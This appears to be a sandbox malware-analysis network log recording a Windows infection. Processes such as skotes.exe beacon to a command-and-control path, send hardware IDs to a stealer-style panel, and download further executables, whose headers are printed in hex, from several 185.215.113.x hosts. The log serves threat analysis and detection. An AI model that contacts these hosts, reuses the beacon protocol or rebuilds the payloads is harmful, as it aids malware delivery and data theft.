Nov 20, 2024 12:59:29.190395117 CET	1236	IN	Data Raw: 75 c2 48 ee 70 5a 3f 74 f9 41 16 fb 5e cb 2d e0 89 c1 3e 90 33 e1 b6 0d 49 1b b0 a0 02 7d 31 34 92 e5 6a f1 f2 98 f9 6c 07 95 4b c8 02 e5 85 6f ae 43 eb 09 e9 c1 74 75 82 cc ac f0 11 07 3d 99 6c 3d 53 e5 08 2a 79 08 07 e9 ac 0a 4d 44 6b cf 15 d9 Data Ascii: uHpZ?tA^->3I}14jlKoCtu=l=S*yMDkzQba:-5Es-?w^u<Hu:3\j2h<=k>?]JtCq8\|u2lm9zA+>4LV+k1,~\|umI?B=
Nov 20, 2024 12:59:29.190406084 CET	1236	IN	Data Raw: 94 43 51 01 01 e9 b0 44 35 d5 7e 32 6e f1 3e f8 34 3d 05 71 3b bf 6d 2c 41 db 80 f8 8c 43 b1 d8 ff 77 17 2e 51 d6 3e 89 05 09 9a 11 cb cf 38 58 79 31 6d 54 13 7d 5a 68 f9 41 ad 0a 19 46 6e 96 fa 40 6b 96 81 3d 42 80 13 29 ad 43 86 db 9c 2a 6b bb Data Ascii: CQD5~2n>4=q;m,ACw.Q>8Xy1mT}ZhAFn@k=B)Ck>!$pIA!>=ybikqz0uE=<Y]Auzj`Js!8A-P=2m:[l >A>(ur6Y2okA@nHA-}>Y6Ypa<L
Nov 20, 2024 12:59:29.190417051 CET	1236	IN	Data Raw: 06 a1 0c ee ae da 97 78 81 d4 4d 04 35 b9 87 ed 22 da 65 fa f2 cf 64 75 15 70 80 1a 37 a9 ad 01 e9 da 5c 73 03 57 56 15 b2 f7 3b f0 9c 03 8d 17 02 41 6d b4 01 5a 3f 04 f9 c1 ac 2a 63 c1 46 50 19 fd 70 0a fd 3d 6b 44 13 cf b0 ac 07 c9 a8 6c 75 43 Data Ascii: xM5"edup7\sWV;AmZ?cFPp=kDluCq.:>,Xb~2:~)z'.h2B8lI }tdd=ylb)=KzgYDcLu,T]?*J6#ib9Rlip>kd@#
Nov 20, 2024 12:59:29.196862936 CET	1236	IN	Data Raw: 18 46 6c d9 1d c5 85 a4 d3 69 5d d0 0f ac 24 0e 20 78 31 9b b1 fd 67 1f a3 0a 7f 20 08 0b 1e 02 6f 3f a1 50 40 81 1b 03 19 92 5e ac 6c 9a 03 74 48 08 e0 17 7b 70 4b 86 c9 d1 d7 f9 58 45 83 32 98 e4 68 6a f4 e6 a5 b8 43 a5 52 8f cb 30 b9 05 6e 3a Data Ascii: Fli]$ x1g o?P@^ltH{pKXE2hjCR0n:NI~\}b6i{*',\Q&"!nIvB->[OD}~>gKJp\|>eZfd=c=m+V{f3Lt)L@P}HOIl#mdf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50044	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:33.004368067 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007659001&unit=246122658369
Nov 20, 2024 12:59:33.709223986 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50046	185.215.113.206	80	5724	C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:33.696129084 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 12:59:34.396976948 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:59:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:59:34.399497986 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 31 35 44 35 39 32 41 44 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="hwid"1915D592ADF51660493485------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="build"mars------EHCAEGDHJKFHJKFIJKJE--
Nov 20, 2024 12:59:34.620650053 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:59:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50047	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:33.722486019 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 12:59:34.428813934 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:34 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Wed, 20 Nov 2024 11:14:07 GMT Connection: keep-alive ETag: "673dc47f-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 77 c4 3d 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELw=g"dw@p2@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 20, 2024 12:59:34.428828955 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DY
Nov 20, 2024 12:59:34.428844929 CET	1236	IN	Data Raw: e8 50 c1 01 00 68 30 24 44 00 e8 eb ef 01 00 59 c3 b9 04 25 4d 00 e8 9d 98 00 00 68 3f 24 44 00 e8 d5 ef 01 00 59 c3 56 8b f1 8d 4e 18 e8 b4 87 00 00 8d 4e 08 e8 ac 87 00 00 6a 28 56 e8 e2 ec 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 ec 38 c7 05 Data Ascii: Ph0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\I0MH,M3MMMMYMMM3MTMXM\
Nov 20, 2024 12:59:34.428870916 CET	1236	IN	Data Raw: 8b ce c7 06 44 c9 49 00 e8 74 02 00 00 ff 76 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff Data Ascii: DItvL@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Nov 20, 2024 12:59:34.428886890 CET	1236	IN	Data Raw: 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d Data Ascii: d3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q
Nov 20, 2024 12:59:34.428910017 CET	672	IN	Data Raw: 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 83 65 Data Ascii: OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>t
Nov 20, 2024 12:59:34.429012060 CET	960	IN	Data Raw: ad 00 00 8d 4d d8 e8 d0 ad 00 00 5f 5e 5b c9 c2 08 00 49 eb 97 41 eb 94 55 8b ec 81 ec b4 00 00 00 53 56 33 f6 c7 85 50 ff ff ff 7f 00 00 00 46 33 c9 8b c1 89 75 98 8b d1 89 4d f4 8b d9 89 4d e0 57 89 4d b4 8b f9 89 55 f8 89 5d fc 89 4d f0 89 4d Data Ascii: M_^[IAUSV3PF3uMMWMU]MMMMEEfMTEXf\MEEfM`EdfhlEpftxE\|fMMEEfM,Ff9Xu]u}!
Nov 20, 2024 12:59:34.429028034 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Nov 20, 2024 12:59:34.429096937 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Nov 20, 2024 12:59:34.429114103 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@
Nov 20, 2024 12:59:34.434134960 CET	1236	IN	Data Raw: 0c 33 db 8b f8 43 8b 01 3b c3 0f 8f 0c fd 03 00 8b 46 04 8b ce 03 c7 50 e8 69 71 00 00 8b 1e 8d 04 3f 50 8b 46 04 ff 75 08 8d 04 43 50 e8 ed d9 01 00 01 7e 04 83 c4 0c 8b 06 33 d2 8b 4e 04 5f 66 89 14 48 8b c6 5e 5b 5d c2 08 00 55 8b ec 83 e4 f8 Data Ascii: 3C;FPiq?PFuCP~3N_fH^[]U<EL$S3#MV4If#MW#M#M#M#M#M#M#M#M#M#MDI#M#M#M#M#M#M#M#M#M<I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50050	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:37.824553967 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007660001&unit=246122658369
Nov 20, 2024 12:59:38.520829916 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50051	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:38.577734947 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 12:59:39.276869059 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:39 GMT Content-Type: application/octet-stream Content-Length: 2786816 Last-Modified: Wed, 20 Nov 2024 11:14:33 GMT Connection: keep-alive ETag: "673dc499-2a8600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 60 f3 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+``Ui` @ @.rsrc`2@.idata 8@huorahul@&:@tkatqwki `@.taggant@+"d@
Nov 20, 2024 12:59:39.276882887 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:39.278167963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:39.278208971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:39.278218985 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:39.279057026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:39.279078960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:39.279087067 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:39.280674934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:39.280731916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:39.282135963 CET	1236	IN	Data Raw: ab 40 12 fb a7 82 57 04 c2 a2 21 fd e2 b1 19 c0 89 12 43 2c 85 7d 0a ff 09 b7 aa d0 f3 a7 de ea f8 6c 79 29 05 8c 6d 85 cf 86 92 dc df b9 6d da 86 92 5c 2d 93 05 56 26 dc 62 b7 a9 9a 80 dc 21 8c 93 71 19 c1 62 b2 89 3a 8f 07 a9 9a 80 dc b7 8b 97 Data Ascii: @W!C,}ly)mm\-V&b!qb:qbHS\|PAm*bxqR"=\)I"B/Lw=mVsGP?Xb/B'"hW_5nOZ1IP_PSi`f}zo "H]YpH

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	50060	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:43.091690063 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 12:59:43.544190884 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 08:56:12 GMT Age: 11011 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	50072	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:43.717382908 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 12:59:44.162098885 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 08:56:12 GMT Age: 11012 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 12:59:44.208827972 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 12:59:44.307925940 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 08:56:12 GMT Age: 11012 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 12:59:44.481015921 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 12:59:44.576164007 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 08:56:12 GMT Age: 11012 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 12:59:44.730321884 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 12:59:44.826531887 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 08:56:12 GMT Age: 11012 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 12:59:54.832737923 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	50074	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:43.723274946 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	50078	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:44.176759005 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	50082	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
